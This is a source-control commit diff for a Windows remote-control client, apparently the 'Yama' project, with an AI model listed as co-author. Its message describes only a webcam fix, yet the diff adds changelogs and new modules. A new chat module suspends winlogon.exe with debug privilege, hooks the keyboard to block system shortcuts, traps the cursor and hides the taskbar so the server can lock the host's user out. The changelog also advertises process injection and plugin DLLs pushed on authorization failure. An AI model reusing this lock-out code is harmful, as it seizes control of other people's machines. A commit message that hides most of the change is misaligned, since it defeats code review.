Fix: Skip video capture when camera fails to open

CCaptureVideo::Open now returns S_FALSE when BindVideoFilter cannot bind a capture device, instead of S_OK. CVideoManager records the result in m_bVideoOpened and exits WorkThread before SendBitMapInfor, so a host without a webcam no longer sends a 0x0 BITMAPINFO to the controller.

Co-Authored-By: deepseek-v4-pro

ReadMe.md

@@ -378,6 +378,32 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
 
 ## 更新日志
 
+### v1.4.0 (2026.10.7)
+
+**SimplePlugins 功能迁移 & 远程交互增强 & MCP 扩展 & 国际化**
+
+**新功能：**
+- **SimplePlugins 功能迁移（实验功能）**：文件管理 / 隐私屏幕 / 远程画板三个功能原生迁入客户端，作为在线主机右键「实验功能」子菜单交付，配 16x16 图标（位图数组 66→69）
+- **MCP 设备管理控制工具**：新增 kill_process / operate_window / control_service / power_action（单一 McpManage 开关 + 关闭只读），ready→confirm 生命周期 + WaitSendIdle 排空出站缓冲；MCP 设置新增「管理操作」勾选、主工具栏 MCP 入口
+- **远程交谈**：「远程交谈」工具栏按钮（COMMAND_CHAT 161 / TOKEN_CHAT_START 62）打开双向聊天，支持服务端触发屏幕锁 / 解锁
+- **TCP/UDP 连接管理**：工具栏按钮列出受管主机 TCP/UDP 连接，右键强制断开 IPv4 TCP（iphlpapi 枚举 + CConnectionsDlg）
+- **主机管理**：迁移 CMachineManager（进程 / 窗口 / 网络 / 软件 / IE 历史 / 收藏夹 / 服务 / 任务 / hosts 枚举 + 进程注入），COMMAND_MACHINE_MANAGE 162
+- **授权失败触发器**：新增 TRIGGER_AUTH_FAILED 触发类型（与主机上线触发独立），授权失败时下发插件 DLL，受 ShouldLogAuth 去重约束
+- **iPhone 远程音频**：WebAudio + 自托管 opus-decoder WASM 解码，修复 iOS 无 MSE 静音
+- **画质与传输控制**：远程桌面 / 屏幕预览质量等级菜单（各 6 档可配置）+ 文件传输速度对话框（7 档 + 无限档，经 MasterSettings 下发）
+- **Shine/HELL 协议选择**：分享 / 传输主机时可选协议，尾随冒号字段透传，旧客户端兼容
+- **Go Web UI 子路径部署**：YAMA_WEB_BASE_PATH 挂载整个 Web UI 到 URL 前缀
+- **国际化**：德语（de_DE）第 4 种语言、语言切换工具栏按钮、剩余字符串翻译补齐；远程桌面剪贴板按钮（全屏可达）
+
+**改进：**
+- 通知设置关键词改为多行输入（每行一个，存储仍分号分隔，兼容既有 notify.ini）
+
+**Bug 修复：**
+- HTTP 分片续包误置 m_bShouldUnmask 致后续包丢失（进程列表 kill 后空列表）
+- 即时消息弹窗标题乱码（GBK code_page 声明）
+- geo-IP 查询阻塞主机双击提示（仅本地库加载时查询 + 进程内缓存）
+- 主机管理 IE 历史字符串泄漏（CoTaskMemFree）、隐私屏幕 0xCC 乱码日志
+
 ### v1.3.9 (2026.9.2)
 
 **MCP 服务端集成（AI 远程管理）& 远程控制与文件传输闭环 & 主控增强**

ReadMe_EN.md

@@ -378,6 +378,32 @@ Valid     : 2026-02-01 to 2028-02-01
 
 ## Changelog
 
+### v1.4.0 (2026.10.7)
+
+**SimplePlugins Feature Migration & Remote Interaction Enhancements & MCP Expansion & i18n**
+
+**New features:**
+- **SimplePlugins feature migration (experimental)**: file management / privacy screen / drawing board migrated natively into the client and exposed as an "Experimental Features" right-click submenu, with 16x16 icons (bitmap array 66→69)
+- **MCP device management-control tools**: kill_process / operate_window / control_service / power_action behind a single McpManage flag (plus read-only off), with a ready→confirm lifecycle and WaitSendIdle buffer draining; "management operations" checkbox in MCP settings and an MCP toolbar entry
+- **Two-way remote chat**: a "远程交谈" toolbar button (COMMAND_CHAT 161 / TOKEN_CHAT_START 62) opens the chat dialog, with server-triggered screen lock / unlock
+- **TCP/UDP connection management**: a toolbar button lists the managed host's TCP/UDP connections with right-click force-disconnect for IPv4 TCP (iphlpapi enumeration + CConnectionsDlg)
+- **Machine management**: CMachineManager migrated (process / window / network / software / IE history / favorites / service / task / hosts enumeration plus process injection), COMMAND_MACHINE_MANAGE 162
+- **Auth-failed trigger**: new TRIGGER_AUTH_FAILED type (independent of the host-online trigger) pushes plugin DLLs on authorization failure, gated by ShouldLogAuth dedup
+- **iPhone remote audio**: Web Audio API + self-hosted opus-decoder WASM decoding fixes silent audio on iOS without MSE
+- **Quality & transfer controls**: configurable remote-desktop / screen-preview quality-level menus (six presets each) plus a file-transfer speed dialog (seven presets + unlimited, delivered via MasterSettings)
+- **Shine/HELL protocol selection**: choose the protocol when sharing / transferring a host, passed as a trailing colon field, backward compatible
+- **Go web UI subpath deployment**: YAMA_WEB_BASE_PATH mounts the whole web UI under a URL prefix
+- **i18n**: German (de_DE) as the fourth language, a language-switch toolbar button, remaining string translations; remote-desktop clipboard buttons (reachable in fullscreen)
+
+**Improvements:**
+- Notification keyword input is now multi-line (one keyword per line; the stored format stays semicolon-separated, compatible with existing notify.ini)
+
+**Bug fixes:**
+- HTTP continuation chunks mis-set m_bShouldUnmask, dropping subsequent packets (blank process list after kill)
+- Garbled instant-message popup title (GBK code_page declaration)
+- geo-IP lookup blocking the host double-click tooltip (only queried when a local DB is loaded, plus in-process caching)
+- Machine-management IE-history string leak (CoTaskMemFree) and privacy-screen 0xCC garbled logs
+
 ### v1.3.9 (2026.9.2)
 
 **MCP Server Integration (AI Remote Management) & Remote Control / File Transfer Loop & Master Enhancements**

ReadMe_TW.md

@@ -378,6 +378,32 @@ nohup ./server_linux_amd64 --port 6543 --http-port 9001 > yama.log 2>&1 &
 
 ## 更新日誌
 
+### v1.4.0 (2026.10.7)
+
+**SimplePlugins 功能遷移 & 遠端互動增強 & MCP 擴充 & 國際化**
+
+**新功能：**
+- **SimplePlugins 功能遷移（實驗功能）**：檔案管理 / 隱私螢幕 / 遠端畫板三個功能原生遷入用戶端，作為線上主機右鍵「實驗功能」子選單交付，配 16x16 圖示（位圖陣列 66→69）
+- **MCP 裝置管理控制工具**：新增 kill_process / operate_window / control_service / power_action（單一 McpManage 開關 + 關閉唯讀），ready→confirm 生命週期 + WaitSendIdle 排空出站緩衝；MCP 設定新增「管理操作」勾選、主工具列 MCP 入口
+- **遠端交談**：「遠端交談」工具列按鈕（COMMAND_CHAT 161 / TOKEN_CHAT_START 62）開啟雙向交談，支援伺服端觸發螢幕鎖 / 解鎖
+- **TCP/UDP 連線管理**：工具列按鈕列出受管主機 TCP/UDP 連線，右鍵強制斷開 IPv4 TCP（iphlpapi 列舉 + CConnectionsDlg）
+- **主機管理**：遷移 CMachineManager（處理程序 / 視窗 / 網路 / 軟體 / IE 歷史 / 收藏夾 / 服務 / 排程工作 / hosts 列舉 + 處理程序注入），COMMAND_MACHINE_MANAGE 162
+- **授權失敗觸發器**：新增 TRIGGER_AUTH_FAILED 觸發類型（與主機上線觸發獨立），授權失敗時下發外掛程式 DLL，受 ShouldLogAuth 去重約束
+- **iPhone 遠端音訊**：WebAudio + 自託管 opus-decoder WASM 解碼，修復 iOS 無 MSE 靜音
+- **品質與傳輸控制**：遠端桌面 / 螢幕預覽品質等級選單（各 6 檔可設定）+ 檔案傳輸速度對話框（7 檔 + 無限檔，經 MasterSettings 下發）
+- **Shine/HELL 協定選擇**：分享 / 傳輸主機時可選協定，尾隨冒號欄位透傳，舊用戶端相容
+- **Go Web UI 子路徑部署**：YAMA_WEB_BASE_PATH 掛載整個 Web UI 到 URL 前綴
+- **國際化**：德語（de_DE）第 4 種語言、語言切換工具列按鈕、剩餘字串翻譯補齊；遠端桌面剪貼簿按鈕（全螢幕可達）
+
+**改進：**
+- 通知設定關鍵詞改為多行輸入（每行一個，儲存仍分號分隔，相容既有 notify.ini）
+
+**Bug 修復：**
+- HTTP 後續封包誤置 m_bShouldUnmask 致後續封包遺失（處理程序列表 kill 後空列表）
+- 即時訊息快顯視窗標題亂碼（GBK code_page 宣告）
+- geo-IP 查詢阻塞主機雙擊提示（僅本機資料庫載入時查詢 + 處理程序內快取）
+- 主機管理 IE 歷史字串洩漏（CoTaskMemFree）、隱私螢幕 0xCC 亂碼記錄
+
 ### v1.3.9 (2026.9.2)
 
 **MCP 伺服端整合（AI 遠端管理）& 遠端控制與檔案傳輸閉環 & 主控增強**

client/CaptureVideo.cpp

@@ -46,13 +46,15 @@ CCaptureVideo::~CCaptureVideo()
 HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
 {
     Mprintf("CCaptureVideo call Open\n");
-    HRESULT hResult = S_OK;
+    HRESULT hResult = S_FALSE;
     do {
         hResult = InitCaptureGraphBuilder();
         if (FAILED(hResult))
             break;
-        if(!BindVideoFilter(iDeviceID, &m_pBF))
+        if (!BindVideoFilter(iDeviceID, &m_pBF)) {
+            hResult = S_FALSE;
             break;
+        }
 
         hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter");
 

client/ChatManager.cpp

@@ -0,0 +1,339 @@
+// ChatManager.cpp: implementation of the CChatManager class.
+//
+//////////////////////////////////////////////////////////////////////
+
+#include "stdafx.h"
+#include "ChatManager.h"
+#include "Common.h"
+#include "resource.h"
+#include <TlHelp32.h>
+
+#if ENABLE_MESSAGE
+
+// 远程交谈（双向聊天）被控端实现，移植自 SimplePlugins/ChatManager。
+// 服务端 CChat 对话框发起会话后，被控端在此显示聊天窗口，并支持服务端远程锁定屏幕。
+
+#define SE_DEBUG_PRIVILEGE 20
+typedef LONG(__stdcall* RtlAdjustPrivilege)(ULONG Privilege, BOOLEAN Enable, BOOLEAN CurrentThread, PBOOLEAN Enabled);
+typedef LONG(__stdcall* SuspendOrResumeProcess)(HANDLE hProcess);
+
+struct PIDWNDINFO {
+    DWORD dwProcessId;
+    HWND  hWnd;
+};
+
+// 锁定屏幕相关的全局状态（同一会话内只有一个 CChatManager 实例）
+static HANDLE g_hProcess = NULL;
+static SuspendOrResumeProcess g_lpfnNtResumeProcess = NULL;
+static HHOOK g_hKeyBoard = NULL;
+static int   g_nLocked = 0;
+
+static DWORD GetWinlogonPid()
+{
+    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+    if (snap == INVALID_HANDLE_VALUE) return 0;
+    PROCESSENTRY32 pEntry = { sizeof(pEntry) };
+    BOOL rtn = Process32First(snap, &pEntry);
+    while (rtn) {
+        if (strcmp(pEntry.szExeFile, "winlogon.exe") == 0) {
+            CloseHandle(snap);
+            return pEntry.th32ProcessID;
+        }
+        memset(pEntry.szExeFile, 0, sizeof(pEntry.szExeFile));
+        rtn = Process32Next(snap, &pEntry);
+    }
+    CloseHandle(snap);
+    return 0;
+}
+
+// 屏蔽 alt+tab / alt+f4 / win 键等系统快捷键
+static LRESULT CALLBACK KeyBoardProc(int code, WPARAM wParam, LPARAM lParam)
+{
+    if (code == HC_ACTION) {
+        PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
+        switch (wParam) {
+        case WM_KEYDOWN:
+        case WM_SYSKEYDOWN:
+        case WM_KEYUP:
+        case WM_SYSKEYUP:
+            if ((p->vkCode == VK_TAB && (p->flags & LLKHF_ALTDOWN) != 0)     // ALT+TAB
+                || (p->vkCode == VK_F4 && (p->flags & LLKHF_ALTDOWN) != 0)   // ALT+F4
+                || (p->vkCode == VK_ESCAPE && (p->flags & LLKHF_ALTDOWN) != 0)  // Alt+Esc
+                || (p->vkCode == VK_ESCAPE && (GetKeyState(VK_CONTROL) & 0x8000) != 0)  // Ctrl+Esc
+                || (p->vkCode == VK_LWIN)
+                || (p->vkCode == VK_RWIN)) {
+                return 1;
+            }
+            break;
+        }
+    }
+    return ::CallNextHookEx(g_hKeyBoard, code, wParam, lParam);
+}
+
+static BOOL CALLBACK EnumWindowsProc(HWND hWnd, LPARAM lParam)
+{
+    PIDWNDINFO* pInfo = (PIDWNDINFO*)lParam;
+    LONG lStyle = GetWindowLong(hWnd, GWL_STYLE);
+    if (pInfo->dwProcessId == 0 && hWnd != pInfo->hWnd &&
+        IsWindowVisible(hWnd) && GetParent(hWnd) == NULL && (lStyle & WS_MINIMIZEBOX)) {
+        ShowWindow(hWnd, SW_MINIMIZE);
+        return TRUE;
+    }
+    DWORD dwProcessId;
+    GetWindowThreadProcessId(hWnd, &dwProcessId);
+    if (dwProcessId == pInfo->dwProcessId && IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
+        pInfo->hWnd = hWnd;
+        return FALSE;
+    }
+    return TRUE;
+}
+
+// 安装键盘钩子并挂起 winlogon（必须在聊天窗口线程调用，确保钩子有消息循环）
+static void ChatSetHook()
+{
+    g_hKeyBoard = SetWindowsHookEx(WH_KEYBOARD_LL, KeyBoardProc, GetModuleHandle(NULL), 0);
+    HMODULE hMod = LoadLibrary("ntdll");
+    if (hMod) {
+        RtlAdjustPrivilege lpfnRtlAdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress(hMod, "RtlAdjustPrivilege");
+        SuspendOrResumeProcess lpfnNtSuspendProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtSuspendProcess");
+        g_lpfnNtResumeProcess = (SuspendOrResumeProcess)GetProcAddress(hMod, "NtResumeProcess");
+        DWORD pid = GetWinlogonPid();
+        BOOLEAN dummy = 0;
+        if (lpfnRtlAdjustPrivilege) lpfnRtlAdjustPrivilege(SE_DEBUG_PRIVILEGE, TRUE, FALSE, &dummy);
+        g_hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
+        if (g_hProcess && lpfnNtSuspendProcess) lpfnNtSuspendProcess(g_hProcess);
+    }
+}
+
+static void ChatUnSetHook()
+{
+    if (g_hKeyBoard) {
+        UnhookWindowsHookEx(g_hKeyBoard);
+        g_hKeyBoard = NULL;
+    }
+    if (g_lpfnNtResumeProcess && g_hProcess) {
+        g_lpfnNtResumeProcess(g_hProcess);
+    }
+    if (g_hProcess) {
+        CloseHandle(g_hProcess);
+        g_hProcess = NULL;
+    }
+    g_lpfnNtResumeProcess = NULL;
+}
+
+// 解除锁定：恢复鼠标/屏保/任务栏/开始菜单/桌面，并恢复 winlogon
+static void UnlockScreen()
+{
+    ChatUnSetHook();
+    ClipCursor(NULL);
+    SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, FALSE, 0, SPIF_UPDATEINIFILE);
+    ::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_SHOW);
+    ::ShowWindow(::FindWindow("Button", "开始"), SW_SHOW);
+    ::ShowWindow(::FindWindow("Progman", NULL), SW_SHOW);
+    g_nLocked = 0;
+}
+
+//////////////////////////////////////////////////////////////////////
+// Construction/Destruction
+//////////////////////////////////////////////////////////////////////
+
+CChatManager::CChatManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
+{
+    m_hInstance = HINSTANCE(user);
+    m_hWnd = NULL;
+    m_bRun = TRUE;
+    g_nLocked = 0;
+
+    // 向服务端发起远程交谈，服务端打开 CChat 对话框后会回发 COMMAND_NEXT_CHAT
+    BYTE bToken = TOKEN_CHAT_START;
+    HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
+    m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
+    WaitForDialogOpen();
+
+    m_hThread = __CreateThread(NULL, 0, MessageLoopProc, this, 0, NULL);
+    Mprintf("Chat 构造\n");
+}
+
+CChatManager::~CChatManager()
+{
+    m_bRun = FALSE;
+    while (m_hThread)
+        Sleep(100);
+
+    if (g_nLocked == 1) {
+        UnlockScreen();
+    }
+    if (m_hWnd) {
+        SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
+    }
+    Mprintf("Chat 析构\n");
+}
+
+DWORD WINAPI CChatManager::MessageLoopProc(LPVOID lParam)
+{
+    CChatManager* pThis = (CChatManager*)lParam;
+    HANDLE& hThread(pThis->m_hThread);
+
+    pThis->m_hWnd = CreateDialogParamA(pThis->m_hInstance, MAKEINTRESOURCE(IDD_CHAT), NULL,
+                                       CChatManager::ChatDialogProc, (LPARAM)pThis);
+    if (pThis->m_hWnd) {
+        SendMessage(GetDlgItem(pThis->m_hWnd, IDC_EDIT_NEWMSG), EM_SETLIMITTEXT, 8158, 0);
+        SetWindowPos(pThis->m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE);
+        // 移除最小化/最大化按钮
+        LONG lStyle = GetWindowLong(pThis->m_hWnd, GWL_STYLE);
+        lStyle &= ~(WS_MINIMIZEBOX | WS_MAXIMIZEBOX);
+        SetWindowLong(pThis->m_hWnd, GWL_STYLE, lStyle);
+
+        MSG msg;
+        while (GetMessage(&msg, NULL, 0, 0) && pThis->m_bRun) {
+            if (!IsDialogMessage(pThis->m_hWnd, &msg)) {
+                TranslateMessage(&msg);
+                DispatchMessage(&msg);
+            }
+        }
+    }
+
+    CloseHandle(hThread);
+    hThread = NULL;
+    return 0;
+}
+
+INT_PTR CALLBACK CChatManager::ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam)
+{
+    CChatManager* pThis = (CChatManager*)GetWindowLongPtr(hDlg, GWLP_USERDATA);
+    switch (uMsg) {
+    case WM_INITDIALOG:
+        SetWindowLongPtr(hDlg, GWLP_USERDATA, (LONG_PTR)lParam);
+        pThis = (CChatManager*)lParam;
+        SetWindowText(hDlg, "远程交谈");
+        SetDlgItemText(hDlg, IDC_BUTTON_SEND, "发送消息");
+        SetDlgItemText(hDlg, IDC_BUTTON_END, "结束交谈");
+        {
+            HICON hIcon = LoadIcon(pThis->m_hInstance, MAKEINTRESOURCE(IDI_ICON_MSG));
+            if (hIcon) {
+                SendMessage(hDlg, WM_SETICON, ICON_SMALL, (LPARAM)hIcon);
+                SendMessage(hDlg, WM_SETICON, ICON_BIG, (LPARAM)hIcon);
+            }
+        }
+        return TRUE;
+
+    case WM_COMMAND:
+        if (LOWORD(wParam) == IDC_BUTTON_SEND) {
+            char str[4096] = { 0 };
+            GetDlgItemText(hDlg, IDC_EDIT_NEWMSG, str, sizeof(str));
+            if (str[0] == 0) {
+                SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG));
+                return TRUE; // 消息为空不发送
+            }
+            pThis->Send((LPBYTE)str, lstrlenA(str) + 1);
+
+            SYSTEMTIME st;
+            GetLocalTime(&st);
+            char Text[5120] = { 0 };
+            sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n  %s\r\n\r\n", "自己:",
+                       st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, str);
+            HWND hEditChatLog = GetDlgItem(hDlg, IDC_EDIT_CHATLOG);
+            int nLen = GetWindowTextLength(hEditChatLog);
+            if (nLen >= 20000) {
+                SetWindowText(hEditChatLog, "");
+                nLen = GetWindowTextLength(hEditChatLog);
+            }
+            SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen);
+            SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
+            SetDlgItemText(hDlg, IDC_EDIT_NEWMSG, "");
+            SetFocus(GetDlgItem(hDlg, IDC_EDIT_NEWMSG));
+            return TRUE;
+        }
+        if (LOWORD(wParam) == IDC_BUTTON_END) {
+            // 被控端关闭聊天窗口：仅隐藏对话框，会话保持。关闭交谈始终由服务端发起，
+            // 服务端继续发消息时 OnReceive 会用 SW_RESTORE 重新弹出本对话框。
+            ShowWindow(hDlg, SW_HIDE);
+            return TRUE;
+        }
+        break;
+
+    case WM_CLOSE:
+        // X 关闭按钮：仅隐藏对话框（与「结束交谈」一致），关闭交谈始终由服务端发起
+        ShowWindow(hDlg, SW_HIDE);
+        return TRUE;
+
+    case WM_USER + 1:
+        pThis->m_hWnd = NULL;
+        DestroyWindow(hDlg);
+        return TRUE;
+
+    case WM_USER + 2:
+        ChatSetHook();
+        return TRUE;
+
+    case WM_DESTROY:
+        PostQuitMessage(0);
+        return TRUE;
+
+    default:
+        break;
+    }
+    return FALSE;
+}
+
+VOID CChatManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
+{
+    if (szBuffer[0] == TOKEN_HEARTBEAT) return;
+
+    if (ulLength == 1) {
+        switch (szBuffer[0]) {
+        case COMMAND_NEXT_CHAT:
+            NotifyDialogIsOpen();
+            return;
+        case COMMAND_CHAT_CLOSE:
+            if (m_hWnd) SendMessage(m_hWnd, WM_USER + 1, NULL, NULL);
+            return;
+        case COMMAND_CHAT_SCREEN_LOCK:
+            NotifyDialogIsOpen();
+            if (m_hWnd && g_nLocked == 0) {
+                ShowWindow(m_hWnd, SW_RESTORE);
+                RECT rct = { 0 };
+                GetWindowRect(m_hWnd, &rct);
+                ClipCursor(&rct);
+                SystemParametersInfo(SPI_SETSCREENSAVERRUNNING, TRUE, 0, SPIF_UPDATEINIFILE);
+                PIDWNDINFO pwi = { 0 };
+                pwi.dwProcessId = 0;
+                pwi.hWnd = m_hWnd;
+                EnumWindows(EnumWindowsProc, (LPARAM)&pwi);
+                ::ShowWindow(::FindWindow("Shell_TrayWnd", NULL), SW_HIDE);
+                ::ShowWindow(::FindWindow("Button", "开始"), SW_HIDE);
+                ::ShowWindow(::FindWindow("Progman", NULL), SW_HIDE);
+                SendMessage(m_hWnd, WM_USER + 2, NULL, NULL);
+                g_nLocked = 1;
+            }
+            return;
+        case COMMAND_CHAT_SCREEN_UNLOCK:
+            if (g_nLocked == 1) {
+                UnlockScreen();
+            }
+            return;
+        default:
+            break;
+        }
+    }
+
+    // 收到服务端发来的聊天文本
+    SYSTEMTIME st;
+    GetLocalTime(&st);
+    char Text[8192] = { 0 };
+    sprintf_s(Text, sizeof(Text), "%s %d/%d/%d %d:%02d:%02d\r\n  %s\r\n\r\n", "对方:",
+              st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, (char*)szBuffer);
+    if (m_hWnd) {
+        HWND hEditChatLog = GetDlgItem(m_hWnd, IDC_EDIT_CHATLOG);
+        int nLen = GetWindowTextLength(hEditChatLog);
+        if (nLen >= 20000) {
+            SetWindowText(hEditChatLog, "");
+            nLen = GetWindowTextLength(hEditChatLog);
+        }
+        SendMessage(hEditChatLog, EM_SETSEL, nLen, nLen);
+        SendMessage(hEditChatLog, EM_REPLACESEL, FALSE, (LPARAM)Text);
+        ShowWindow(m_hWnd, SW_RESTORE);
+    }
+}
+
+#endif

client/ChatManager.h

@@ -0,0 +1,30 @@
+// ChatManager.h: interface for the CChatManager class.
+//
+//////////////////////////////////////////////////////////////////////
+
+#pragma once
+
+#include "Manager.h"
+
+#if ENABLE_MESSAGE==0
+#define CChatManager CManager
+#else
+
+class CChatManager : public CManager
+{
+public:
+    HINSTANCE m_hInstance;
+    CChatManager(IOCPClient* ClientObject, int n, void* user = nullptr);
+    virtual ~CChatManager();
+    VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
+
+private:
+    BOOL   m_bRun;
+    HANDLE m_hThread;
+    HWND   m_hWnd;
+
+    static DWORD WINAPI MessageLoopProc(LPVOID lParam);
+    static INT_PTR CALLBACK ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam);
+};
+
+#endif

client/ClientDll.cpp

@@ -66,13 +66,15 @@ BOOL IsClientAppRunning(void* thisApp)
     return S_CLIENT_NORMAL == This->g_bExit;
 }
 
-ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared)
+ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared, int headerEnc)
 {
     auto v = StringToVector(remoteAddr, ':', 2);
     if (v[0].empty() || v[1].empty())
         return nullptr;
     auto a = new ClientApp(g_MyApp.g_Connection, run, shared);
     a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str()));
+    if (headerEnc == PROTOCOL_SHINE || headerEnc == PROTOCOL_HELL)
+        a->g_Connection->iHeaderEnc = headerEnc;
     return a;
 }
 
@@ -597,6 +599,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
             auto saved_ip = cfg.GetStr("settings", "master");
             auto saved_port = cfg.GetInt("settings", "port");
             settings.SetServer(saved_ip.c_str(), saved_port);
+            auto saved_proto = cfg.GetStr("settings", "master_proto");
+            if (saved_proto == "0" || saved_proto == "1")
+                settings.iHeaderEnc = atoi(saved_proto.c_str());
             Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port,
                     int(valid_to-now));
         }
@@ -617,7 +622,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
         auto a = cfg.GetStr("settings", "share_list");
         auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
         for (int i = 0; i < shareList.size(); ++i) {
-            auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE);
+            auto v = StringToVector(shareList[i], ':', 3);
+            int proto = (v.size() >= 3 && (v[2] == "0" || v[2] == "1")) ? atoi(v[2].c_str()) : -1;
+            auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE, proto);
             if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
             Mprintf("[StartClient] Client is shared to %s.\n", shareList[i].c_str());
         }

client/ClientDll.h

@@ -130,7 +130,7 @@ public:
     }
 };
 
-ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE);
+ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE, int headerEnc = -1);
 
 // 启动核心线程，参数为：ClientApp
 DWORD WINAPI StartClient(LPVOID lParam);

client/ClientDll_vs2015.vcxproj

@@ -185,7 +185,15 @@
     <ClCompile Include="ClientLogManager.cpp" />
     <ClCompile Include="Common.cpp" />
     <ClCompile Include="ConPTYManager.cpp" />
+    <ClCompile Include="ConnectionsManager.cpp" />
     <ClCompile Include="FileManager.cpp" />
+    <ClCompile Include="file\FileManager.cpp">
+      <ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
+    </ClCompile>
+    <ClCompile Include="file\MasterEncoder.cpp" />
+    <ClCompile Include="file\zip.cpp" />
+    <ClCompile Include="screenhide\ScreenHideManager.cpp" />
+    <ClCompile Include="DrawingBoardMgr.cpp" />
     <ClCompile Include="IOCPClient.cpp" />
     <ClCompile Include="IOCPKCPClient.cpp" />
     <ClCompile Include="IOCPUDPClient.cpp" />
@@ -215,6 +223,8 @@
     <ClCompile Include="CFFmpegH264Encoder.cpp" />
     <ClCompile Include="EncoderFactory.cpp" />
     <ClCompile Include="TalkManager.cpp" />
+    <ClCompile Include="ChatManager.cpp" />
+    <ClCompile Include="MachineManager.cpp" />
     <ClCompile Include="VideoManager.cpp" />
     <ClCompile Include="X264Encoder.cpp" />
   </ItemGroup>
@@ -233,9 +243,17 @@
     <ClInclude Include="clip.h" />
     <ClInclude Include="ClientLogManager.h" />
     <ClInclude Include="Common.h" />
+    <ClInclude Include="ConnectionsManager.h" />
     <ClInclude Include="ConPTYManager.h" />
     <ClInclude Include="CursorInfo.h" />
     <ClInclude Include="FileManager.h" />
+    <ClInclude Include="file\FileManager.h" />
+    <ClInclude Include="file\MasterEncoder.h" />
+    <ClInclude Include="file\zip.h" />
+    <ClInclude Include="screenhide\ScreenManagerBase.h" />
+    <ClInclude Include="screenhide\ScreenHideManager.h" />
+    <ClInclude Include="screenhide\ScreenHideSpy.h" />
+    <ClInclude Include="DrawingBoardMgr.h" />
     <ClInclude Include="IOCPClient.h" />
     <ClInclude Include="IOCPKCPClient.h" />
     <ClInclude Include="IOCPUDPClient.h" />
@@ -268,6 +286,9 @@
     <ClInclude Include="StdAfx.h" />
     <ClInclude Include="SystemManager.h" />
     <ClInclude Include="TalkManager.h" />
+    <ClInclude Include="ChatManager.h" />
+    <ClInclude Include="MachineManager.h" />
+    <ClInclude Include="yapi.hpp" />
     <ClInclude Include="VideoCodec.h" />
     <ClInclude Include="VideoManager.h" />
     <ClInclude Include="X264Encoder.h" />

client/ClientDll_vs2015.vcxproj.filters

@@ -41,6 +41,7 @@
     <ClCompile Include="EncoderFactory.cpp" />
     <ClCompile Include="..\common\file_upload.cpp" />
     <ClCompile Include="ConPTYManager.cpp" />
+    <ClCompile Include="ConnectionsManager.cpp" />
     <ClCompile Include="session.cpp" />
     <ClCompile Include="reg_startup.c" />
     <ClCompile Include="ServiceWrapper.c" />
@@ -59,6 +60,7 @@
     <ClInclude Include="CaptureVideo.h" />
     <ClInclude Include="clip.h" />
     <ClInclude Include="Common.h" />
+    <ClInclude Include="ConnectionsManager.h" />
     <ClInclude Include="CursorInfo.h" />
     <ClInclude Include="FileManager.h" />
     <ClInclude Include="IOCPClient.h" />

client/Common.cpp

@@ -4,13 +4,19 @@
 #include "Manager.h"
 #include "ScreenManager.h"
 #include "FileManager.h"
+#include "file/FileManager.h"
+#include "screenhide/ScreenHideManager.h"
+#include "DrawingBoardMgr.h"
 #include "TalkManager.h"
+#include "ChatManager.h"
+#include "MachineManager.h"
 #include "ShellManager.h"
 #include "SystemManager.h"
 #include "ConPTYManager.h"
 #include "AudioManager.h"
 #include "RegisterManager.h"
 #include "ServicesManager.h"
+#include "ConnectionsManager.h"
 #include "VideoManager.h"
 #include "KeyboardManager.h"
 #include "ProxyManager.h"
@@ -100,6 +106,31 @@ DWORD WINAPI LoopTalkManager(LPVOID lParam)
     return LoopManager<CTalkManager, 0>(lParam);
 }
 
+DWORD WINAPI LoopChatManager(LPVOID lParam)
+{
+    return LoopManager<CChatManager, 0>(lParam);
+}
+
+DWORD WINAPI LoopMachineManager(LPVOID lParam)
+{
+    return LoopManager<CMachineManager, 0>(lParam);
+}
+
+DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam)
+{
+    return LoopManager<SimplePluginsFile::CFileManager, 0>(lParam);
+}
+
+DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam)
+{
+    return LoopManager<SimplePluginsScreenHide::CScreenHideManager, 0>(lParam);
+}
+
